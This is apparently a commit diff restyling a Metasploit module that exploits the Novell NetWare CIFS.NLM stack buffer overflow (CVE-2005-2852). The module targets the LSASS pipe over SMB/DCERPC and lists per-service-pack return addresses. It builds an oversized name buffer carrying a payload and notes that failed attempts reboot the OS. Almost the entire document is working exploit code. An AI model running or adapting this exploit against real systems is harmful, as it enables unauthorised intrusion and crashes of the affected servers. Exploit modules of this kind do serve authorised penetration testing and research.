@@ -9,62 +9,66 @@ class MetasploitModule < Msf::Exploit::Remote
99 include Msf ::Exploit ::Remote ::DCERPC
1010 include Msf ::Exploit ::Remote ::SMB ::Client
1111
12-
1312 def initialize ( info = { } )
14- super ( update_info ( info ,
15- 'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow' ,
16- 'Description' => %q{
17- This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.
18- Since the driver runs in the kernel space, a failed exploit attempt can
19- cause the OS to reboot.
20- } ,
21- 'Author' =>
22- [
13+ super (
14+ update_info (
15+ info ,
16+ 'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow' ,
17+ 'Description' => %q{
18+ This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.
19+ Since the driver runs in the kernel space, a failed exploit attempt can
20+ cause the OS to reboot.
21+ } ,
22+ 'Author' => [
2323 'toto' ,
2424 ] ,
25- 'License' => MSF_LICENSE ,
26- 'References' =>
27- [
25+ 'License' => MSF_LICENSE ,
26+ 'References' => [
2827 [ 'CVE' , '2005-2852' ] ,
2928 [ 'OSVDB' , '12790' ]
3029 ] ,
31- 'Privileged' => true ,
32- 'Payload' =>
33- {
34- 'Space' => 400 ,
35- 'BadChars' => "\x00 " ,
30+ 'Privileged' => true ,
31+ 'Payload' => {
32+ 'Space' => 400 ,
33+ 'BadChars' => "\x00 "
3634 } ,
37- 'Platform' => 'netware' ,
38- 'Targets' =>
39- [
35+ 'Platform' => 'netware' ,
36+ 'Targets' => [
4037 # NetWare SP can be found in the SNMP version :
4138 # 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)
4239
43- [ 'VMware' , { 'Ret' => 0x000f142b } ] ,
40+ [ 'VMware' , { 'Ret' => 0x000f142b } ] ,
4441 [ 'NetWare 6.5 SP2' , { 'Ret' => 0xb2329b98 } ] , # push esp - ret (libc.nlm)
4542 [ 'NetWare 6.5 SP3' , { 'Ret' => 0xb234a268 } ] , # push esp - ret (libc.nlm)
4643 [ 'NetWare 6.5 SP4' , { 'Ret' => 0xbabc286c } ] , # push esp - ret (libc.nlm)
4744 [ 'NetWare 6.5 SP5' , { 'Ret' => 0xbabc9c3c } ] , # push esp - ret (libc.nlm)
4845 [ 'NetWare 6.5 SP6' , { 'Ret' => 0x823c835c } ] , # push esp - ret (libc.nlm)
4946 [ 'NetWare 6.5 SP7' , { 'Ret' => 0x823c83fc } ] , # push esp - ret (libc.nlm)
5047 ] ,
51-
52- 'DisclosureDate' => '2007-01-21' ) )
48+ 'Notes' => {
49+ 'Stability' => [ CRASH_OS_RESTARTS ] ,
50+ 'SideEffects' => [ IOC_IN_LOGS ] ,
51+ 'Reliability' => [ UNRELIABLE_SESSION ]
52+ } ,
53+ 'DisclosureDate' => '2007-01-21'
54+ )
55+ )
5356
5457 register_options (
5558 [
56- OptString . new ( 'SMBPIPE' , [ true , "The pipe name to use (LSARPC)" , 'lsarpc' ] )
57- ] )
59+ OptString . new ( 'SMBPIPE' , [ true , 'The pipe name to use (LSARPC)' , 'lsarpc' ] )
60+ ]
61+ )
5862
63+ deregister_options ( 'DCERPC::fake_bind_multi' )
5964 end
6065
6166 def exploit
62-
6367 # Force multi-bind off (netware doesn't support it)
6468 datastore [ 'DCERPC::fake_bind_multi' ] = false
6569
66- connect ( )
67- smb_login ( )
70+ connect
71+ smb_login
6872
6973 handle = dcerpc_handle ( '12345778-1234-abcd-ef00-0123456789ab' , '0.0' , 'ncacn_np' , [ "\\ #{ datastore [ 'SMBPIPE' ] } " ] )
7074
@@ -84,8 +88,9 @@ def exploit
8488 NDR . long ( 0x000f0fff )
8589
8690 resp = dcerpc . call ( 0x2c , stb )
87- handle , = resp [ 0 , 20 ]
88- code , = resp [ 20 , 4 ] . unpack ( 'V' )
91+ handle , = resp [ 0 , 20 ]
92+ _code , = resp [ 20 , 4 ] . unpack ( 'V' )
93+ resp [ 20 , 4 ] . unpack ( 'V' )
8994
9095 name =
9196 rand_text_alphanumeric ( 0xa0 ) +
@@ -96,26 +101,23 @@ def exploit
96101 handle +
97102 NDR . long ( 1 ) +
98103 NDR . long ( 1 ) +
99-
100104 NDR . short ( name . length ) +
101105 NDR . short ( name . length ) +
102106 NDR . long ( rand ( 0xffffffff ) ) +
103-
104107 NDR . UnicodeConformantVaryingStringPreBuilt ( name ) +
105-
106108 NDR . long ( 0 ) +
107109 NDR . long ( 0 ) +
108110 NDR . long ( 1 ) +
109111 NDR . long ( 0 )
110112
111- print_status ( " Calling the vulnerable function ..." )
113+ print_status ( ' Calling the vulnerable function ...' )
112114
113115 begin
114116 dcerpc . call ( 0x0E , stb )
115- rescue
117+ rescue StandardError
118+ # DCERPC call may fail, this is expected
116119 end
117120
118- # Cleanup
119121 handler
120122 disconnect
121123 end
0 commit comments